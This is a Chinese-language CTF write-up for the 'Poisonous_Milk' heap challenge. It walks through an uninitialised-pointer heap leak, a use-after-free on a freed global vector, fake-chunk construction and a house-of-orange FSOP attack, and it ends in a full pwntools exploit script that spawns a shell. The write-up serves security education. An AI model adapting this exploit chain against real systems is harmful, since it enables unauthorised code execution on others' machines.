Poisonous_Milk
首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下,发现是c++写的程序,看起来复杂了很多,这些一大堆,作用只是打印菜单,那么我们把这个函数重命名为menu。
接下来,我们进入下一个函数查看,应该就是主功能区了。
为了便于分析,我们给函数重命名了
创建内容的函数里,最多输入86个字符
实际上只能输入85个字符,并且最后一个会被设置为0
接下来,是创建结构体
经过分析,这个结构体这样的
- typedef struct milk {
- char *color;
- char *content;
- }
但是,这里初始color时,存在一个漏洞
如果我们输入的color不存在,那么结构体里的color指针就不会初始化,它的值就是其他的值。如果把这个结构体释放后再重新申请回来,如果color不存在,那么color指针就会保存着堆地址。因为这个位置正好对应fastbin的fd。这样,我们就可以泄露堆地址。
现在,我们要弄清楚这个qword_203160到底是什么?
我们发现这个函数极其复杂
先放着,继续分析。
推测这玩意儿,应该是一个vector。我们来看看c++的vector的结构
- template<class _Ty,
- class _Ax>
- class vector
- : public _Vector_val<_Ty, _Ax>
- { // varying size array of values
- public:
- /********/
- protected:
- pointer _Myfirst; // pointer to beginning of array
- pointer _Mylast; // pointer to current end of sequence
- pointer _Myend; // pointer to end of array
- };
那么,我们现在可以确定,这个qword_203160就是一个vector了
- typedef struct vector {
- void *start;
- void *end;
- void *capacity;
- }
为了方便,我们在IDA里重命名一下,现在我们看的清楚了,那个复杂的函数是vector的扩容操作,不用管。每次新增后,插入到end指针的位置,然后end指针向后偏移8字节。
分析后,我们知道了,程序中的存储结构
- //存储结构
- vector<milk *> milks;
然后,我们继续分析,显示功能也没什么漏洞
Delete节点功能,删除一个节点后,vector的end指针做了相应的调整,那么end没有指向释放后的指针,虽然没有清空指针,也用不了UAF。
然后,我们看释放所有节点,以及vector对象本身的函数
注意到,释放vector后,没有把vector指针清零,又因为vector指针是放在bss段,是一个全局变量,其他函数可以使用,这意味着,这个vector本身可以存着UAF漏洞。那么,我们把vector的内存申请回来,就能控制vector里的begin、end、capacity三个指针,并且,我们把这些指针指向我们可以控制的区域,然后在可以控制的区域,布置下我们需要读写的地址,这样,我们就能实现任意地址读写操作。但是由于本程序没有edit功能,也就没有写,但是,我们可以伪造chunk,实现任意的free操作。从而利用。
那么,我们就开始攻击吧,首先泄露堆地址
- #创建一个0x20的头结构体加0x20的存储flags的堆,这样,两个堆释放和属于同一个fastbin,并且头结构体作为头,因为后释放
- create('a'*(0x10-1))
- delete(0)
- #接下来重新申请堆,之前的节点结构体内保存着指针,由于flags堆先申请,所以我们不能申请和之前大小一样的
- #因为我们要让我们这个节点的结构体申请到前一个释放后的节点的结构体内存位置处
- create('b'*0x40)
- #泄露堆地址
- show()
由于创建时,大小受限制,我们创建不了unsorted bin访问的chunk,因此,我们需要来伪造unsorted bin chunk,然后利用控制vector的begin、end指针,在可控区域布下一个指针指向我们伪造的节点。
- #释放了所有的堆,以及vector对象本身
- drink()
- #重新申请到了vector的内存空间,UAF控制vector的begin和end指针
- create(p64(heap_base + 0xE50) + p64(heap_base + 0xE58))
- #这里是用来创建0x20大小的堆,放入fastbin,给以后申请用,这样申请节点结构体时,就不会从我们辛苦得到的unsorted bin里切割
- for i in range(2):
- create('g'*0x9) #index 2~3
- for i in range(3,1,-1):
- delete(i)
需要注意的一点是,我们提前创建了2个content大小为0x20的节点,然后释放,也就是说,在0x20的fastbin里有四个chunk,可以提供给后面的申请使用。并且我们是先drink释放了vector,然后才创建的。而不能先创建再drink,因为drink里面,会将我们放到0x20 fastbin的chunk给用掉(调试的时候发现)。之所以在前面先弄几个0x20的fastbin,一方面,是为了缩短content与content之间的间隙,方便我们控制,因为如果不这样,节点milk结构体会夹在content与content之间,不方便我们后面的控制。另一方面,是避免申请堆时,从我们辛苦得到的unsorted bin里切割。
上面第二句代码,我们控制了vector的begin和end指针,但是为了不保证出错,我们要确保create时,这个expand扩容操作,不要超过我们begin指针指向的那个位置所属堆的大小,不然扩容到后面的区域我们不可控。导致show的时候出错,因为后面可能有无效地址。
比如我们的begin指针指向了heap_base+0xE50处,而heap_base+0xE50是我们待会申请的某个堆的地址,这个堆,我们最大申请0x60字节,最多写入85个字节,也就是我们最多可以在此处放8个节点指针。扩容超出后,后面的内容我们控制不了,这样show时会导致出错。
这意味着,接下来的操作,我们在没有delete堆前的create操作,最多8次。这完全够用了。
- #==============为了得到unsorted bin的chunk,我们伪造三个chunk===========
- #伪造节点结构体
- payload = p64(0) + p64(0x21)
- #color_ptr #flags_ptr
- payload += p64(0) + p64(heap_base+0xCD0)
- #伪造flags堆
- payload += p64(0) + p64(0x101)
- payload = payload.ljust(0x40,'a')
- create(payload) #index2
- payload = 'b'*0x30
- payload += p64(0) + p64(0x31)
- payload = payload.ljust(0x50,'b')
- create(payload) #index3
- #payload = 'c'*0x10
- #在后面继续伪造两个堆,绕过堆检查
- payload = p64(0) + p64(0x21)
- payload += 'c'*0x10
- payload += p64(0) + p64(0x31)
- payload = payload.ljust(0x50,'c')
- create(payload) #2
现在堆伪造好了,我们要释放它,之前我们控制vector的begin指针heap_base+0xE50,
因此,我们在heap_base+0xE50处放置伪造的节点的地址。当然,还要把其他申请过的节点的地址放过来,这样,我们后续才能继续控制。
而通过精心布局,我们接下来申请一个堆,地址就找heap_base+0xE50处,我们就在这里写入几个节点的地址。
- #==================================================================
- #这个堆,我们用来伪造vector的每一项的指针item*,通过控制item*指针,我们就对对需要的节点进行操作
- #伪造item指针
- #0
- payload = p64(heap_base+0xCB0) #fake_chunk node
- #1
- payload += p64(heap_base+0xCB0) #fake_chunk node
- #2
- payload += p64(heap_base+0xC60) #aaaaaaaaaa node
- payload += p64(heap_base+0xD10) #bbbbbbbbb node
- payload += p64(heap_base+0xD70) #ccccccccc node
- payload += p64(heap_base+0xD10) #
- payload += p64(heap_base+0xD70) #
- payload = payload.ljust(0x50,'c')
- create(payload) #5
我们在0和1处放置了一模一样的的fake_chunk地址,这样第一次我们delete(0)后,后面的内容上移动,那么我们继续show(0),显示的还是fake_chunk处的内容,这样,我们就能实现UAF。
接下来重点来了
- #fastbin与我们伪造生成的unsorted bin重合!!
- delete(3)
- delete(2)
- delete(1)
我们来看看bins的布局
因为fastbin和unsorted bin里有重合,我们将fastbin的几个chunk申请回来,就能控制unsorted bin里面的内容。这样,我们就能利用house of orange思想来getshell。并且,上面有好几个0x20的bins,用于提供给Milk结构体,而不会从unsorted bin里切割。
- #house of orange
- #fake分成2部分,写入
- #执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
- fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
- #unsorted bin attack,修改_IO_list_all为main_arena+88
- fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
- #_IO_write_base < _IO_write_ptr
- #fake_file += p64(0) + p64(1)
- payload = 'a'*0x20 + fake_file
- create(payload.ljust(0x40,'\x00'))
- #第二部分
- ##vtable指针,同时,也作为fake_vtable的__dummy
- fake_file = p64(0) + p64(heap_base + 0xD98)
- #__dummy2、__finish
- fake_file += p64(0)*2
- #__overflow
- fake_file += p64(system_addr)
- create(fake_file.ljust(0x50,'\x00'))
- #getshell
- sh.sendlineafter('>','p')
- sh.sendlineafter('Input your flags (0-99):','f'*0x40)
如果getshell失败,可以多试几次,这是由于栈环境的问题。
综上,我们的exp脚本
#coding:utf8
from pwn import *
sh = process('./poisonous_milk')
#sh = remote('111.198.29.45',35825)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']
#context.log_level = 'debug'
def create(payload):
sh.sendlineafter('>','p')
sh.sendlineafter('Input your flags (0-99):',payload)
sh.sendlineafter("Input your milk's color:","")
def delete(index):
sh.sendlineafter('>','r')
sh.sendlineafter('Give the index :',str(index))
def show():
sh.sendlineafter('>','v')
def drink():
sh.sendlineafter('>','d')
#创建一个0x20的头结构体加0x20的存储flags的堆,这样,两个堆释放和属于同一个fastbin,并且头结构体作为头,因为后释放
create('a'*(0x10-1))
delete(0)
#接下来重新申请堆,之前的节点结构体内保存着指针,由于flags堆先申请,所以我们不能申请和之前大小一样的
#因为我们要让我们这个节点的结构体申请到前一个释放后的节点的结构体内存位置处
create('b'*0x40)
#泄露堆地址
show()
sh.recvuntil('[0] [')
heap_addr = u64(sh.recvuntil(']',drop = True).ljust(8,'\x00'))
heap_base = heap_addr - 0xC88
print 'heap_base=',hex(heap_base)
#释放了所有的堆,以及vector对象本身
drink()
#重新申请到了vector的内存空间,UAF控制vector的begin和end指针
create(p64(heap_base + 0xE50) + p64(heap_base + 0xE58))
#这里是用来创建0x20大小的堆,放入fastbin,给以后申请用,这样申请节点结构体时,就不会从我们辛苦得到的unsorted bin里切割
for i in range(2):
create('g'*0x9) #index 2~3
for i in range(3,1,-1):
delete(i)
#==============为了得到unsorted bin的chunk,我们伪造三个chunk===========
#伪造节点结构体
payload = p64(0) + p64(0x21)
#color_ptr #flags_ptr
payload += p64(0) + p64(heap_base+0xCD0)
#伪造flags堆
payload += p64(0) + p64(0x101)
payload = payload.ljust(0x40,'a')
create(payload) #index2
payload = 'b'*0x30
payload += p64(0) + p64(0x31)
payload = payload.ljust(0x50,'b')
create(payload) #index3
#payload = 'c'*0x10
#在后面继续伪造两个堆,绕过堆检查
payload = p64(0) + p64(0x21)
payload += 'c'*0x10
payload += p64(0) + p64(0x31)
payload = payload.ljust(0x50,'c')
create(payload) #2
#==================================================================
#这个堆,我们用来伪造vector的每一项的指针item*,通过控制item*指针,我们就对对需要的节点进行操作
#伪造item指针
#0
payload = p64(heap_base+0xCB0) #fake_chunk node
#1
payload += p64(heap_base+0xCB0) #fake_chunk node
#2
payload += p64(heap_base+0xC60) #aaaaaaaaaa node
payload += p64(heap_base+0xD10) #bbbbbbbbb node
payload += p64(heap_base+0xD70) #ccccccccc node
payload += p64(heap_base+0xD10) #
payload += p64(heap_base+0xD70) #
payload = payload.ljust(0x50,'c')
create(payload) #5
delete(0)
#泄露main_arena+88地址
show()
sh.recvuntil(']')
sh.recvuntil('] ')
main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_list_all_addr = libc_base + _IO_list_all_s
libc_base = _IO_list_all_addr - _IO_list_all_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
#fastbin与我们伪造生成的unsorted bin重合!!
delete(3)
delete(2)
delete(1)
'''#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(heap_base + 0x5E8)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)
'''
#house of orange
#fake分成2部分,写入
#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
#fake_file += p64(0) + p64(1)
payload = 'a'*0x20 + fake_file
create(payload.ljust(0x40,'\x00'))
#第二部分
##vtable指针,同时,也作为fake_vtable的__dummy
fake_file = p64(0) + p64(heap_base + 0xD98)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)
create(fake_file.ljust(0x50,'\x00'))
#getshell
sh.sendlineafter('>','p')
sh.sendlineafter('Input your flags (0-99):','f'*0x40)
sh.interactive()